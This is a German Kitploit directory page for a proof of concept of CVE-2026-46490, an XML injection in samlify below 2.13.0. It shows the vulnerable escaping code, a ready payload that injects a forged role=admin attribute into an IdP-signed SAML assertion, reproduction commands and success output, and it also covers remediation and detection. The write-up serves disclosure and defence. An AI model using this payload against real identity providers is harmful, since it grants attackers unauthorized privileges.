Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-46490-samlify-SAML-Attribute-Injection — CVE-2026-46490 — samlify <2.13.0 SAML AttributeValue XML-Injection -> Privilegieneskalation durch signierte Assertionen. Eigenständiger PoC, e2e verifiziert. | Kitploit
Tools/GitHubGitHub/biitts/cve-2026-46490-samlify-saml-attribute-injection
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsAuthentifizierungLernen & Bildung
GitHubbiitts/cve-2026-46490-samlify-saml-attribute-injection

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-46490-samlify-SAML-Attribute-Injection

CVE-2026-46490 — samlify <2.13.0 SAML AttributeValue XML-Injection -> Privilegieneskalation durch signierte Assertionen. Eigenständiger PoC, e2e verifiziert.

Repository anzeigen
2vor 2 MonatenNoch nicht geprüft

CVE-2026-46490 — samlify SAML AttributeValue XML-Injection → Privilegienausweitung

samlify < 2.13.0 escapet Vorlagenersetzungen nur in Attribut- Kontexten. Ein vom Benutzer gesteuerter Wert (z. B. email / name), der in Elementtext platziert wird – <saml:AttributeValue>{Wert}</saml:AttributeValue> – wird unescaped eingefügt, sodass ein normaler Benutzer zusätzliche <saml:Attribute>-Elemente (z. B. role=admin) in seine eigene, vom IdP signierte SAML-Assertion einschleusen kann. Da die Injektion vor der Signatur stattfindet, besteht der Service Provider die Signaturprüfung und akzeptiert die gefälschten Attribute als autoritativ.


Ursache

src/libsaml.ts ersetzt {tag}-Platzhalter via replaceTagsByValue → escapeTag:

root@kitploit:~
replaceTagsByValue(rawXML, tagValues) {
  Object.keys(tagValues).forEach(t => {
    rawXML = rawXML.replace(new RegExp(`("?)\\{${t}\\}`, 'g'), escapeTag(tagValues[t]));
  });
  return rawXML;
}

function escapeTag(replacement) {
  return (_match, quote) => {
    const text = String(replacement ?? '');
    // "not having a quote means this interpolation isn't for an attribute, and so does not need escaping"
    return quote ? `${quote}${xmlEscape(text)}` : text;   // <-- Elementtext: KEIN Escaping
  };
}

Der reguläre Ausdruck fängt ein optionales vorangestelltes " als quote ein. Im Attributkontext (Name="{Name}") ist quote gesetzt und der Wert wird mit xmlEscape escapt; im Elementtext (>{attrEmail}<) gibt es kein vorangestelltes Anführungszeichen, daher wird der Wert unverändert ausgegeben.

Die Standard-Attributvorlage setzt den Wert in den Elementtext:

root@kitploit:~
<saml:Attribute Name="{Name}" ...><saml:AttributeValue ...>{Value}</saml:AttributeValue></saml:Attribute>

Ein vom Angreifer kontrollierter Attributwert, der </> enthält, injiziert rohes XML.

Ausnutzung

Der Angreifer setzt sein eigenes Profilattribut (hier email) auf:

root@kitploit:~
[email protected]</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="ignore"><saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema">

Dies schließt das email-Attribut, fügt ein gefälschtes role=admin-Attribut hinzu und eröffnet ein Platzhalter-Attribut, sodass das abschließende </saml:AttributeValue></saml:Attribute> der Vorlage ausgeglichen bleibt. Der IdP signiert dann die Assertion – inklusive des gefälschten Attributs. Ein standardskonformer SP validiert die Signatur (gültig) und liest role=admin.

Reproduktion

root@kitploit:~
cd lab && ./setup.sh        # npm i [email protected] + IdP/SP-Schlüsselpaare generieren
node poc.js

Ausgabe:

root@kitploit:~
>>> INJECTION CONFIRMED: forged <saml:Attribute Name="role">admin smuggled into the signed assertion
extracted attributes: {"email":"[email protected]","role":"admin","ignore":[]}
>>> PRIVILEGE ESCALATION CONFIRMED: SP accepted a signature-valid assertion granting role=admin

Der PoC verwendet samlifys eigenen IdP (createLoginResponse, der die anfällige replaceTagsByValue-Ersetzung durchführt und signiert) und SP (parseLoginResponse, der die Signatur validiert und Attribute extrahiert). Der SP gibt role: "admin" aus – ein Attribut, das der Angreifer gefälscht hat, nicht eines, das der IdP auszustellen beabsichtigte.

Auswirkungen

Jeder Benutzer, der einen seiner eigenen SAML-Attributwerte (E-Mail, Anzeigename, …) auf einem samlify-basierten IdP beeinflussen kann, kann eine gültig signierte Assertion mit beliebigen zusätzlichen Attributen prägen – Gruppen‑/Rollenmitgliedschaften, Berechtigungen, isAdmin-Flags – und auf jedem SP, der dem IdP vertraut, Privilegien ausweiten. SAML-Signaturvalidierung hilft nicht: Die Fälschung befindet sich innerhalb des signierten Bereichs.

Abhilfe

  • Upgrade auf samlify ≥ 2.13.0, das interpolierte Werte jetzt auch in Elementkontexten XML-escapet, nicht nur in Attributkontexten.
  • Defence-in-Depth: serverseitig vom Benutzer bereitgestellte Attributwerte validieren/normalisieren; bevorzugt Whitelist-basierte Attributschemas auf dem SP verwenden.

Erkennung

Überprüfen Sie ausgestellte/konsumierte Assertions auf Attributwerte, die XML-Markup enthalten (</saml:AttributeValue>, <saml:Attribute), sowie auf Assertions, die mehr <saml:Attribute>-Elemente enthalten, als die IdP-Vorlage definiert.

Siehe ANALYSIS.md für den Ersetzungsregex, die Anführungszeichen-Heuristik und den Patch.


  • Autor: Caio Fabrício — github.com/BiiTts
  • Die Schwachstelle wurde vom ursprünglichen Melder / im Hersteller-Advisory gemeldet; dieses Repository ist eine unabhängige Reproduktion zu defensiven und Bildungszwecken. Nur für autorisierte Sicherheitstests.
Tool herunterladen
CVECVE-2026-46490
AdvisoryGHSA-34r5-q4jw-r36m
Betroffensamlify < 2.13.0
Behoben2.13.0
KlasseCWE-91 (XML-Injection) → Privilegienausweitung
CVSS8.8 (Hoch)
AuthAuthentifizierter Benutzer mit niedrigen Privilegien (kontrolliert einen eigenen Attributwert)
StatusBESTÄTIGT — vollständige IdP→SP-Kette mit [email protected] reproduziert